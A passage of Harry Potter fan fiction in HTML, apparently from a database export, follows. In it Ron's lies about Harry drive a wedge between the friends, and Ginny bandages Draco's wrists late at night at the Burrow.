his head and struggled to compose his features into something resembling chagrin. Inside though, he was seething. &#8220;I was hoping to have Hermione to myself for a while so we could shop for your present.&#8221;</p>\n\n<p></p>\n\n<p>Harry blinked for a moment before laughing. &#8220;Go on then. I&#8217;ll meet you at Florean&#8217;s in about two hours, all right?&#8221;</p>\n\n<p></p>\n\n<p>Ron grinned, this time legitimately, and shook Harry&#8216;s hand. &#8220;Done then.&#8221;</p>\n\n<p></p>\n\n<p>He raced off, leaving Harry staring at him in the middle of Diagon Alley.</p>\n\n<p></p>\n\n<p> When he reached Platform-Nine-and-Three-Quarters, Ron noticed that the Hogswarts Express was almost empty of passengers, which left the platform not nearly as crowded as it usually was. Ron spotted Hermione right away and waved to her as he broke into a run. She was frowning when he came up short, puffing for air.</p>\n\n<p></p>\n\n<p>&#8220;Where&#8217;s Harry?&#8221;</p>\n\n<p></p>\n\n<p>His face fell slightly before he replaced it with a grin and grabbed the girl up in a bone-crushing embrace, squishing Crookshanks in the process, who spit and clawed frantically.</p>\n\n<p></p>\n\n<p>&#8220;Ron!&#8221; she admonished. &#8220;I still have injuries, you know. Madame Pomfrey only let me go because I promised to rest and not do anything strenuous.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sorry, Hermione,&#8221; Ron gasped out. &#8220;But blimey it&#8217;s good to see you!&#8221;</p>\n\n<p></p>\n\n<p>Hermione smiled brightly and patted him on the shoulder as he lifted her small trunk with ease. &#8220;It&#8217;s good to see you too, Ron.&#8221;</p>\n\n<p></p>\n\n<p>Ron beamed as he cut a path through the pre-Christmas crowd toward the bus stop, holding onto one of Hermione&#8216;s hands so they didn&#8216;t get separated. The station was noisy so neither spoke until he set her trunk down on the curb. Muggle London was rather exciting, but it didn&#8217;t interest him right then. Hermione was busy stuffing Crookshanks into a basket that was permanently attached to the top of her trunk with many a yowl of protest from said cat. Then she looked up from her exertions and smiled widely.</p>\n\n<p></p>\n\n<p>&#8220;It really is good to see you. I think I have Madame Pomfrey&#8217;s face eternally engraved into my memory and I&#8216;d almost forgotten that anyone else existed.&#8221;</p>\n\n<p></p>\n\n<p>Ron laughed as he stuck Hermione&#8217;s case on the luggage rack and followed her onto the bus. He kept her busy laughing so much that she didn&#8217;t remember Harry wasn&#8217;t with them until they had arrived near the Leaky Cauldron.</p>\n\n<p></p>\n\n<p>&#8220;Ron, where&#8217;s Harry?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; he waved off while taking Hermione&#8217;s trunk off of the bus. &#8220;He wanted to catch up on his shopping since he hasn&#8217;t had the chance to go to Hogsmeade for so long. We&#8216;ll be meeting him at Florean&#8216;s in about an hour.&#8221;</p>\n\n<p></p>\n\n<p>Hermione stopped in the act of taking her cat from its box preparatory to entering the Leaky Cauldron and narrowed her eyes. &#8220;You told me that he spends every weekend in Hogsmeade.&#8221;</p>\n\n<p></p>\n\n<p>Ron felt his stomach flip and his breath catch painfully in his chest. He swallowed hard before carrying her luggage into the wizarding pub. &#8220;I-I must have been mistaken.&#8221;</p>\n\n<p></p>\n\n<p>Hermione whirled on him, her arms full of ginger-fluff. &#8220;No, you told me that he was in Hogsmeade last weekend. You even specified exactly what he was <i>doing </i>since he wasn&#8217;t with us.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione, I<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;You told me that he was at the Quivering Rooster getting drunk again and that I should just let him blow off steam how he saw fit! Why did you lie to me?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t! He told me that<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re a very bad liar, Ron.&#8221; Hermione cut him off, her eyebrows drawn together in confusion. &#8220;I can tell when you&#8217;re not speaking the truth. Usually,&#8221; she amended. &#8220;What are you hiding?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t believe me then! See if I care. You can take your own bloody baggage.&#8221;</p>\n\n<p></p>\n\n<p>Ron stormed out the doors back into Muggle London, leaving Hermione standing there with Crookshanks, looking on the verge of tears. The pub had stopped talking and watched as she sniffed once and picked up the handle of her trunk to drag it into Diagon Alley.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry was smiling as he opened the door to Florean&#8217;s an hour later, the tinkling bell matching his mood. But the sides of his grin drooped abruptly as he spotted Hermione&#8217;s small figure clutching her cat in a lonely corner booth. Where was Ron? He strode up to her in a determined manner, ready for anything.</p>\n\n<p></p>\n\n<p>Almost.</p>\n\n<p></p>\n\n<p>Upon sighting Harry, Hermione burst into fresh sobs and ran towards him, Crookshanks hanging on precariously as she launched into his arms.</p>\n\n<p></p>\n\n<p>&#8220;Oh Harry, it&#8217;s horrible!&#8221; she cried, smothering her face in his shirtfront. He rubbed her arms briskly and guided her back to the booth, sliding in beside her.</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s the matter? Did you and Ron get into a row again? It&#8217;s been a while but it was bound to happen eventually,&#8221; Harry mumbled the last as if he regretted speaking his thoughts aloud.</p>\n\n<p></p>\n\n<p>Hermione shook her head, tears glittering like tiny diamonds upon her spiky eyelashes. &#8220;It&#8217;s worse than just a fight, Harry. H-he&#8217;s been lying.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Lying?&#8221; This didn&#8217;t particularly surprise Harry, but it seemed serious to Hermione so he gave her his full attention.</p>\n\n<p></p>\n\n<p>&#8220;He told me before Christmas break that you had already done your shopping in Hogsmeade last weekend. So he offered to take me out for your present when I came back from Hogwarts. But when I asked him where you were, he said you were shopping because you hadn&#8217;t had the chance to go to Hogsmeade before we left for the holidays.&#8221; She said this all very earnestly and almost entirely without taking a breath, the words stumbling over each other in her haste.</p>\n\n<p></p>\n\n<p>Harry frowned. &#8220;It is odd, but nothing to really get upse<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;But that isn&#8217;t all.&#8221; She cut him off. &#8220;When was the last time you were in Hogsmeade?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Uh, last trip before summer holidays, I think. Ron and I went to<font face="Times New Roman">&#8212;</font> Well, we went somewhere for just the guys. Please don&#8217;t beat me up about it, Hermione. It was a while ago and I only had a few drinks and . . . things before we came home. Sorry,&#8221; he added hastily, blood rushing to his cheeks. Hermione wasn&#8217;t paying attention to this last part, but her eyes were magnificent with righteous anger. His eyes widened and he hastened to repeat himself. &#8220;I said I was sorry, Hermione!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, it isn&#8217;t that,&#8221; she whispered, so softly that he almost didn&#8217;t hear her. &#8220;Ron has been telling me that you&#8217;ve gone down to Hogsmeade every weekend to drink and<font face="Times New Roman">&#8212;</font> well, keep company.&#8221;</p>\n\n<p></p>\n\n<p>Harry felt his face burn white-hot at that point, his knuckles crunching against the table. &#8220;Keeping company? With who?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Everyone from what Ron says.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ve never<font face="Times New Roman">&#8212;</font> &#8221; Harry sputtered. &#8220;Well, I <i>have,</i> but not<font face="Times New Roman">&#8212;</font>\n\n<i>\n\n</i>How <i>dare</i> he tell such an outrageous lie! Why didn&#8216;t you ever say anything to me before?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shrugged, her face very pale except for the dark smudges under her eyes. &#8220;Ron convinced me to leave you alone about it. He said that you wouldn&#8217;t appreciate my interference and frankly I was<font face="Times New Roman">&#8212;</font> I didn&#8217;t feel comfortable about bringing it up.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But he&#8217;s made me out to look like some drunken whoremonger!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You mean you really weren&#8217;t drunk all those times you refused to come downstairs?&#8221; Hermione asked hopefully.</p>\n\n<p></p>\n\n<p>Harry ducked his head, blushing again. &#8220;Well, I was drunken at least. But I kept it to myself. I didn&#8217;t go down into the village to<font face="Times New Roman">&#8212;</font> uh, &#8216;spread the joy&#8217; as it were. I was depressed and when I went with Ron to get pissed last summer it seemed to help so much, especially since my scar has been throbbing almost constantly since third task. When I drink it stops for awhile, and . . .&#8221;</p>\n\n<p></p>\n\n<p>He swallowed and looked up at Hermione earnestly. &#8220;I know it was awfully stupid of me to get drunk almost every night, but I&#8216;ve only been at Hogwarts all year, I promise.&#8221;</p>\n\n<p></p>\n\n<p>Hermione narrowed her eyes in thought and twisted one fuzzy brown curl around her finger. &#8220;So you say that you&#8217;ve not been to Hogsmeade in months and Ron says that you have. I can tell when you&#8217;re lying and you aren&#8217;t. And I stupidly assumed that Ron was telling the truth so I didn&#8217;t bother thinking otherwise. What would he gain by all this?&#8221;</p>\n\n<p></p>\n\n<p>Harry didn&#8217;t know, but at that moment he had the urge to punch his best friend right proper and it irked him because that was something he&#8217;d very rarely wanted to do before in all the years they had known each other. Sure, Ron annoyed him sometimes; all friends had their ups and downs. But never had he felt this<font face="Times New Roman">&#8212;</font> violence in his soul towards Ron.</p>\n\n<p></p>\n\n<p>The two sat together, thinking it over and saying very little. Harry ordered some tea to warm them and now swirled the grounds idly in the bottom of his cup while looking out the window. The sky was darkening with the invasion of twilight and it would be completely dark in less than an hour.</p>\n\n<p></p>\n\n<p>&#8220;We should head back to the Burrow soon or Mrs Weasley will be worried. Do you know where Ron went?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shook her head. &#8220;I haven&#8217;t the faintest, but I hope he stays away from me for the time being.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione, Christmas is the day after next and we&#8217;ll be staying with the Weasley&#8217;s for another week plus some odd days. As much as I&#8217;d rather not, we should really try to be civil at least. Hopefully, we can sort this out.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sort this out? Are you mad? What Ron has done goes beyond &#8216;sorting it out&#8217;! It&#8217;s almost like he doesn&#8217;t want us to be friends any<font face="Times New Roman">&#8212;</font> &#8221; Hermione broke off and her eyes went wide.</p>\n\n<p></p>\n\n<p>&#8220;What is it?&#8221; Harry asked, setting his cup down.</p>\n\n<p></p>\n\n<p>&#8220;He doesn&#8217;t want us to be friends anymore. Harry, that&#8217;s it,&#8221; she whispered softly in a stunned sort of way.</p>\n\n<p></p>\n\n<p>Harry scoffed. &#8220;Don&#8217;t be daft, of course he wants to be friends with us.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, you don&#8217;t understand. He doesn&#8217;t want <i>us</i> to be friends.&#8221; Hermione had clamped her hands firmly onto the table and was leaning to the side towards Harry, her face very close. The fury in her eyes was almost palatable in the air and Harry was quite glad that it wasn&#8216;t he who had roused her anger, but for some reason, he found that he could appreciate her current state. &#8220;He&#8217;s jealous.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Jealous?&#8221; That stumped Harry and he wasn&#8217;t able to speak for a moment as understanding hit him. He was suddenly very aware of Hermione&#8216;s face so close to his own, and the way her eyelashes fluttered against her plump cheeks. Harry regained use of his vocal cords, but only just enough to croak out a continuance to his previous statement. &#8220;What does he have to be jealous of, anyway? It isn&#8217;t as if we<font face="Times New Roman">&#8212;</font> well, you know, we&#8217;re all just friends.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I know. But think about it, Harry. You&#8217;re Captain of the Quidditch team, and you were responsible for winning the Cup not only last year, but third year too. You were offered Head Boy as well, but you refused. You&#8217;re rich, famous, and<font face="Times New Roman">&#8212;</font> &#8221; She glanced down, the tips of her ears turning red. &#8220;A-and easy on the eyes. It&#8217;s enough to make most go mad with envy.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But Hermione.&#8221; Harry felt his face heat up again. &#8220;I never <i>asked</i> for any of those things! And being famous is horrible, Ron knows that. I thought he got over this in fourth-year.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What if he didn&#8217;t? What if he&#8217;s just let it stew? I still remember what he told me about the Mirror of Erised, what he saw there. You have all of the things that he has dreamed about for so long.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll give them up! I never wanted any of it; I just want my friend back. And he probably just wanted to make sure that he was never the third wheel or something; I don&#8216;t think it was a matter of <i>us</i> not being friends.&#8221;</p>\n\n<p></p>\n\n<p>Hermione shook her head, ignoring the last statement entirely. &#8220;It isn&#8217;t as simple as all that, Harry. You&#8217;re still you, and it&#8217;s eating him up inside.&#8221;</p>\n\n<p></p>\n\n<p>Harry sighed and ran a shaky hand through his already dishevelled hair, wincing as his fingers hit a snag. &#8220;Maybe I shouldn&#8217;t stay at the Burrow this year. I&#8217;ll go back to Hogwarts and<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;No!&#8221; Hermione said, fiercely gripping his hand. &#8220;You&#8217;ll go back to the Burrow. We&#8217;ll have a lovely holiday. And Ron will get over this eventually.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But Hermione<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, we <i>will</i> go back to the Burrow. Everything will be fine.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What if it isn&#8217;t?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It will be,&#8221; Hermione stated, a look of determination had set her eyes and Harry knew better than to argue when she was resolute to do something. He only hoped that she was right.</p>\n\n<p></p>\n\n<p>&#8220;We&#8217;d better go now, it&#8217;s dark and Mrs Weasley won&#8217;t be happy with us if it gets much later than it is.&#8221; Harry looked down into his cup and noticed that the tea leaves had settled into a heart-shaped ring at the bottom. He continued to stare, willing it to go away until Hermione grabbed his arm.</p>\n\n<p></p>\n\n<p>&#8220;Harry, what are you looking at?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Nothing. Let&#8217;s go.&#8221; He rose and offered to take Crookshanks so Hermione could get up. She gasped in pain and doubled over, forcing Harry to drop the cat in order to keep her from falling. But she waved him away after a moment and stood straight again, clutching her side.</p>\n\n<p></p>\n\n<p>&#8220;I only moved too fast. Madame Pomfrey said that my ribs are still tender yet.&#8221;</p>\n\n<p></p>\n\n<p>Harry frowned. &#8220;You shouldn&#8217;t have left Hogwarts, Hermione. We could have stayed with you and had Christmas there.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I&#8217;m really all right.&#8221;</p>\n\n<p></p>\n\n<p>Harry raised his eyebrows and didn&#8217;t comment further as he started to grab her trunk but then stopped. &#8220;When did you and Ron have that fight?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;A few hours ago.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Where?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shrugged. &#8220;At the Leaky Cauldron, why?&#8221;</p>\n\n<p></p>\n\n<p>Harry gritted his teeth and steered the girl forward. Barely out of the Infirmary and she&#8217;d had to drag her trunk, small though it was, through most of Diagon Alley. Yet another thing to talk with Ron about. That was, if talking involved many recitations of &#8216;stupid git&#8217; and fists on the wing.</p>\n\n<p></p>\n\n<p> He wasn&#8217;t paying attention to where he was going, and was surprised to find himself in front of the Leaky Cauldron so quickly.</p>\n\n<p></p>\n\n<p>&#8220;I hope Ron is back at the Burrow when we get there. Mrs Weasley will be upset otherwise.&#8221; Hermione said, teeth chattering slightly from the cold as they entered the cavernous pub. Harry scanned the room, looking for Ron and frowning when he wasn&#8217;t seen.</p>\n\n<p></p>\n\n<p>&#8220;I was hoping that Ron would be <i>here</i>, he has the Floo powder.&#8221;</p>\n\n<p></p>\n\n<p>Hermione waved her hand at him, scoffing. &#8220;We can just pay for some to use here.&#8221;</p>\n\n<p></p>\n\n<p>Harry shook his head. &#8220;Not here, Hermione. There&#8217;s a shortage you know. Mr Weasley made sure to tell us that at least three times before we left the Burrow. They say that no more will be sold until after the new year and most people have run out already.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh. Drat, Ron anyway! Why did he have to go off like that with our only way of getting home?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It isn&#8217;t the only way, we&#8217;ll just go back to Diagon Alley and hail the Knight Bus,&#8221; Harry said decisively. But another patron, hearing of the dilemma, spoke up.</p>\n\n<p></p>\n\n<p>&#8220;Sorry, lad, but din&#8217;t you &#8216;ere? Knight Bus is out o&#8217; commission for another fortnight at least.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;A fortnight!&#8221; exclaimed Hermione. &#8220;What happened to it?&#8221;</p>\n\n<p></p>\n\n<p>He only shrugged. &#8220;Don&#8217;na know rightly meself, summat about one o&#8217; the charms gone wonky and crashin&#8217; the bus.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sodding bus!&#8221; Harry swore softly before flinching and glancing down at Hermione, who wasn&#8217;t paying attention to him anymore and was looking for an owl. He thanked the fellow and hurried over to where she was, dropping her trunk with a thud. This time, she did admonish him.</p>\n\n<p></p>\n\n<p>&#8220;Harry! Those are my things in that trunk.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sorry, Hermione,&#8221; Harry sighed. &#8220;We should owl the Weasleys and ask for some more Floo powder.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Poor Mrs Weasley is probably so worried right now. You told them that we&#8217;d be there before dark and it&#8217;s starting to look like we&#8217;ll never be back to the Burrow!&#8221; Hermione was wringing her hands over and over while Crookshanks perched on her shoulder, grooming himself. Harry however, did a double take at Hermione when she said the last word, and even Crookshanks seemed to pause.</p>\n\n<p></p>\n\n<p>&#8220;Come on,&#8221; Harry said, turning her in his direction. &#8220;Let&#8217;s go owl the Weasleys.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Should we tell them that Ron is gone?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, Mrs Weasley would be in a panic. We had better just hope he shows up before they send the Floo powder back. If not, we&#8217;ll have to tell them in person.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll write that it got wet from the snow and we can&#8217;t use it. That way they won&#8217;t know that Ron isn&#8217;t with us.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But what if he&#8217;s there already?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione, don&#8217;t you think that Mr Weasley would have come looking for us if he had?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I suppose so,&#8221; she sighed. &#8220;This really is rotten luck. Why is he acting this way?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know the answer to that, Hermione. I only hope we can get it straightened out before hols are over.&#8221;</p>\n\n<p></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 8, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">&#8220;Mum, just go to bed already! It&#8217;s near midnight and you&#8216;ve sent the Floo powder out with Pig. They&#8216;ll be back eventually.&#8221;</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p>Mrs Weasley looked at her daughter, twisting her hands and sparing a glance toward her husband for reassurance.</p>\n\n<p></p>\n\n<p>&#8220;Ginny&#8217;s right, Molly. We should go to bed. I have to be at work early tomorrow to help the Department of Transportation with the Knight Bus situation since they&#8216;re short handed.&#8221;</p>\n\n<p></p>\n\n<p>Shaking her head, Mrs Weasley sighed. &#8220;I suppose there&#8217;s no help for it. I&#8217;m only glad that you work for the Ministry, Arthur. Otherwise, we&#8217;d have no Floo powder either!&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley only patted her on the shoulder while she continued. &#8220;I suppose you&#8217;ll stay up to wait for them, Ginny?&#8221;</p>\n\n<p></p>\n\n<p>Her daughter nodded and went back to scrubbing the dishes she had set aside in all the confusion from earlier in the evening. The twins&#8217; homecoming had been anticipated heartily, the explosions and rough housing had not. She looked up at her mother&#8217;s retreating form and blew a strand of red hair out of her eyes. Poor Mum, she thought to herself.</p>\n\n<p></p>\n\n<p>The kitchen was set to rights slowly. Broken crockery was swept into a box for her mother to repair in the morning, and the table was wiped down and set with a new tablecloth. By the time Ginny was done, her hands had gone back to being their normal colour and appearance instead of the red, wrinkled messes they were when she had finished the dishes.</p>\n\n<p></p>\n\n<p>A kettle went on the fire to boil and her special cup came out of the pantry along with some tea and sugar. Ginny sat down at the small kitchen table, aching for the use of her wand to make the water heat up faster. She opened a jar in the middle of the table and took out a biscuit to munch on while the kettle steamed.</p>\n\n<p></p>\n\n<p>Ginny was just about to pick up the Daily Prophet when Draco sauntered into the kitchen. He raised an eyebrow at her and sat down.</p>\n\n<p></p>\n\n<p>&#8220;What are <i>you </i>doing awake?&#8221; Ginny asked, annoyed by his very presence. A smirk graced his face.</p>\n\n<p></p>\n\n<p>&#8220;Wouldn&#8217;t you like to know?&#8221;</p>\n\n<p></p>\n\n<p>Ginny snorted. &#8220;Not really. But I was relishing the fact that I had the kitchen to myself just now, and then you had to come and ruin it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Poor baby,&#8221; Draco said, nicking the newspaper from in front of her.</p>\n\n<p></p>\n\n<p>&#8220;I was about to read that!&#8221; Ginny snapped, reaching out to grab it back when the kettle behind her started screaming &#8216;I&#8216;m hot! I&#8216;m boiling hot!&#8217;.</p>\n\n<p></p>\n\n<p>&#8220;Oh, making some tea are you? Pour me a cup,&#8221; Draco yawned, leaning back against his chair and twining his stocking-covered feet on the table. Ginny narrowed her eyes as he opened the paper and obscured his face from view. He&#8217;d have some tea, all right!</p>\n\n<p></p>\n\n<p>She rose from her chair and walked over to the kettle, taking another cup down from the cupboard while she lifted the pot off the hook. Two cups of tea were poured, both with liberal amounts of cream and sugar. One cup went to the table on her side, the other was allowed to trickle onto Draco&#8217;s leg before she set it to rights. Draco cried out and stood, flapping his pyjama leg to get the hot liquid away from his skin.</p>\n\n<p></p>\n\n<p>&#8220;Oh my, how clumsy of me,&#8221; Ginny giggled while holding out the rest of his tea. &#8220;There&#8217;s still some left though.&#8221;</p>\n\n<p></p>\n\n<p>Draco growled and snatched the cup, slamming it onto the table with force enough to make more spill over the sides. &#8220;What&#8217;s <i>wrong</i> with you, woman?&#8221;</p>\n\n<p></p>\n\n<p>Ginny shrugged and sat down opposite of him, carefully taking a sip of her own scalding hot tea. &#8220;Seemed like the thing to do.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Did it?&#8221; The look he gave her was dangerous and Ginny would be quailing if she had been paying attention, but she was reaching for another biscuit and didn&#8217;t see as she continued to prattle.</p>\n\n<p></p>\n\n<p>&#8220;Yes, I&#8217;m not your bloody servant, you know.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ve a terrible mouth on you for such a little thing,&#8221; Draco grumbled as he sat down and wiped ineffectually at his pyjamas with a crumpled handkerchief, pulling his dressing gown closer around his chest.</p>\n\n<p></p>\n\n<p>Ginny looked up and smirked as she took a bite of her biscuit, sugar covering her lips. Draco pushed the jar towards her before picking up the paper again. &#8220;Go ahead, eat them all if it&#8217;ll keep you quiet.&#8221;</p>\n\n<p></p>\n\n<p>Snorting, Ginny pushed them away. &#8220;I wouldn&#8217;t give you the pleasure, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>Draco rolled his eyes and reached for his cup, but the bandage around his wrist unravelled and fell to the floor. &#8220;Sod it,&#8221; he swore softly, bending to retrieve it.</p>\n\n<p></p>\n\n<p>Ginny caught a glimpse of his arm; flesh only just covering the wound and she could tell it was starting to get infected. Sighing, she stood up and came around the table toward him.</p>\n\n<p></p>\n\n<p>&#8220;That bandage is dirty, you need a fresh one.&#8221;</p>\n\n<p></p>\n\n<p>Draco snarled somewhere in the back of his throat at her and made to pull his arm away from her seeking fingers. She ignored him and put a firm hand on the skin just above his wrist. &#8220;Come with me to the tap.&#8221;</p>\n\n<p></p>\n\n<p>He didn&#8217;t want to, but Ginny pulled him up and walked over to the sink. The water ran warm and she shoved his hand under the tap, scrubbing at the wound gently with her soft fingers. She could hear Draco grit his teeth in pain and had to admire his control once again.</p>\n\n<p></p>\n\n<p>Ginny picked at the knot on his other wrist and threw the bandage away, giving that wound the same treatment before she patted both wrists dry with a towel. From the cupboard above, she took out a jar of purple ointment and a roll of linen.</p>\n\n<p></p>\n\n<p>&#8220;Sit down,&#8221; Ginny commanded, placing the medical supplies on the table. Draco complied, quietly watching her every move. Scooping up some of the ointment, she spread it liberally over the wounds, rubbing in small circles to work it into the skin. Ginny took out the roll of linen and wrapped it around Draco&#8217;s wrist a few times before tearing it off with her teeth and splitting the cloth down the middle so she could wrap the ends around into a knot.</p>\n\n<p></p>\n\n<p>&#8220;There&#8217;s one,&#8221; she sighed, brushing away a vagrant strand of hair with the back of her hand before furrowing her brow. &#8220;I don&#8217;t mean to pry, but how did you get these anyway?&#8221;</p>\n\n<p></p>\n\n<p>Draco gazed at her dispassionately. &#8220;Rope,&#8221; he said, voice tightening.</p>\n\n<p></p>\n\n<p>&#8220;Rope?&#8221; Ginny&#8217;s eyebrows shot up while she smeared the other wrist with ointment, studying the wound carefully. &#8220;Someone tied you up?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;In a way, but I&#8217;d prefer not to talk about it if you don&#8217;t mind.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh, right,&#8221; Ginny said, still rubbing his hand absently.</p>\n\n<p></p>\n\n<p>Draco lifted one corner of his mouth in amusement. &#8220;Are you going to put the bandage on or hold my hand all day?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What?&#8221; Ginny looked down and blushed. &#8220;Oh, sorry.&#8221; She grabbed the spool of cloth and started wrapping his other wrist.</p>\n\n<p></p>\n\n<p>&#8220;Perfectly all right, I know I have an effect on women.&#8221;</p>\n\n<p></p>\n\n<p>Ginny sniffed while she bent over her work. &#8220;Full of ourselves, are we?&#8221;</p>\n\n<p></p>\n\n<p>Draco shrugged. &#8220;It&#8217;s true, they can&#8217;t keep their hands off me.&#8221;</p>\n\n<p></p>\n\n<p>As if to make his point, he glanced down to where she was tying off the linen. Ginny let his arm drop and ran an absentminded finger over her lips, unconsciously smearing them with a bit of the ointment.</p>\n\n<p></p>\n\n<p>&#8220;Were you born an arse or do you do it for the attention,&#8221; she said hotly after a minute, sitting in her seat again. The tea she&#8217;d left on the table earlier was cold now and she set it down with a sour expression.</p>\n\n<p></p>\n\n<p>&#8220;It isn&#8217;t for attention from you, so rest easy, little weasel.&#8221;</p>\n\n<p></p>\n\n<p>Ginny gritted her teeth, to think that she had just helped the prat! &#8220;I have a name, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>He smirked and reached into his dressing gown for a cigarette. &#8220;I have a name, too, <i>Weasley</i>.&#8221;</p>\n\n<p></p>\n\n<p>Sighing, she reached out a hand. &#8220;Since you&#8217;re apparently going to be here for at least a few more days, you may as well call me Ginny.&#8221;</p>\n\n<p></p>\n\n<p>Draco lifted an eyebrow before setting down his pack of cigarettes. &#8220;Draco,&#8221; he lifted the proffered hand and quickly dropped it back. &#8220;Very nice to meet you,&#8221; he stated, sarcasm fairly dripping from each word.</p>\n\n<p></p>\n\n<p>Ginny laughed despite herself and rose to make some more tea. &#8220;This is cold, do you want some fresh?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Only if you promise not to spill it on me again, a man can only take so much.&#8221;</p>\n\n<p></p>\n\n<p> Ginny felt her lips quirk. &#8220;I suppose that I can restrain myself.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Ginny made them fresh tea and was pursing her lips to blow on it when she suddenly stopped. Her lips remained pursed in a comical moue. Draco glanced up and snorted, shaking his head as he turned a page and went back to the paper. This shook Ginny out of her contemplation and she looked up, annoyed.</p>\n\n<p></p>\n\n<p>&#8220;I was just thinking, Mal<font face="Times New Roman">&#8212;</font> Draco, and it occurred to me that you still haven&#8217;t given me an explanation of how you managed to find those pictures of me.&#8221;</p>\n\n<p></p>\n\n<p>He looked up, vaguely surprised. &#8220;Why do you feel I owe you anything?&#8221;</p>\n\n<p></p>\n\n<p>Ginny glared at him, her arms crossed over her chest. The action pushed her breasts up slightly, causing them to spill over the top of her blouse. Draco smirked, remembering that the youngest Weasley had very nice breasts. Or they would be, if it wasn&#8217;t for the freckles. The skin that peeked over though was a creamy shade of pale without a spot in sight. Maybe they had faded since the pictures had been taken.</p>\n\n<p></p>\n\n<p>Draco realised he was staring and jerked his eyes up to her face uncomfortably. The glower she directed at him intensified and he almost blushed. Then he crumpled his brow and stared stonily at the newspaper, small print swimming in front of his unfocused eyes. Draco tossed the paper on the table with a snarl.</p>\n\n<p></p>\n\n<p>&#8220;All right,&#8221; he bit out. &#8220;Your little friend left them in the library.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Colin left his portfolio in the library? He would never do something so stupid.&#8221; Ginny tossed her head and sniffed, clearly not believing him.</p>\n\n<p></p>\n\n<p>Draco let one corner of his mouth lift in a leer. &#8220;Well, he was rather . . . flustered, I suppose.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Flustered? About wh<font face="Times New Roman">&#8212;</font> &#8221; Ginny stopped, her eyes getting round. &#8220;Oh, was that when you caught him with<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ernie Macmillan? Right on target, you are. They were so engrossed in each other that they didn&#8217;t even notice I was there.&#8221; Draco shivered slightly. &#8220;Still gives me nightmares.&#8221;</p>\n\n<p></p>\n\n<p>Ginny put a hand over her mouth, giggling softly. &#8220;Poor Colin! He was so embarrassed when he told me about it later.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Poor Colin? Poor Draco, is what you should be saying. I was scarred for life from that.&#8221;</p>\n\n<p></p>\n\n<p>Ginny cackled some more before donning a stern expression. &#8220;Just because I&#8217;m laughing doesn&#8217;t make me any less angry. 